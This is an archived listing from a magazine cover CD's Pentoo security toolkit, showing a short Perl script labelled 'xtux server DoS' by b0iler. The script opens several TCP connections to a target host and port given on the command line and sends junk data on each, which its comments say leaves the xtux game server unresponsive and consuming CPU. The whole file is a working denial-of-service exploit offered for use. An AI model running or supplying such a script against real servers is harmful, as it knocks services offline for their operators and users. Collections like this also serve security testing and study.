home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xtux / smashxtux.pl < prev   
Perl Script  |  2005-02-12  |  451b  |  16 lines

  1. #!/usr/bin/perl
  2. #
  3. # xtux server DoS - by b0iler
  4. # server will become unresponcive and takes up lots of CPU.
  5.  
  6. use IO::Socket;
  7.  
  8. for($n=0;$n<=3;$n++){ #you shouldn't even need all 3 connections.
  9.         print "Connecting to $ARGV[0] port $ARGV[1]\n";
  10.         $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],  PeerPort =>
  11. $ARGV[1], Proto    => 'tcp' ) or print "\ncouldn't connect\n\n";
  12.         sleep 3;
  13.         print $sock "garbage data\n\n";
  14. }
  15. exit;
  16.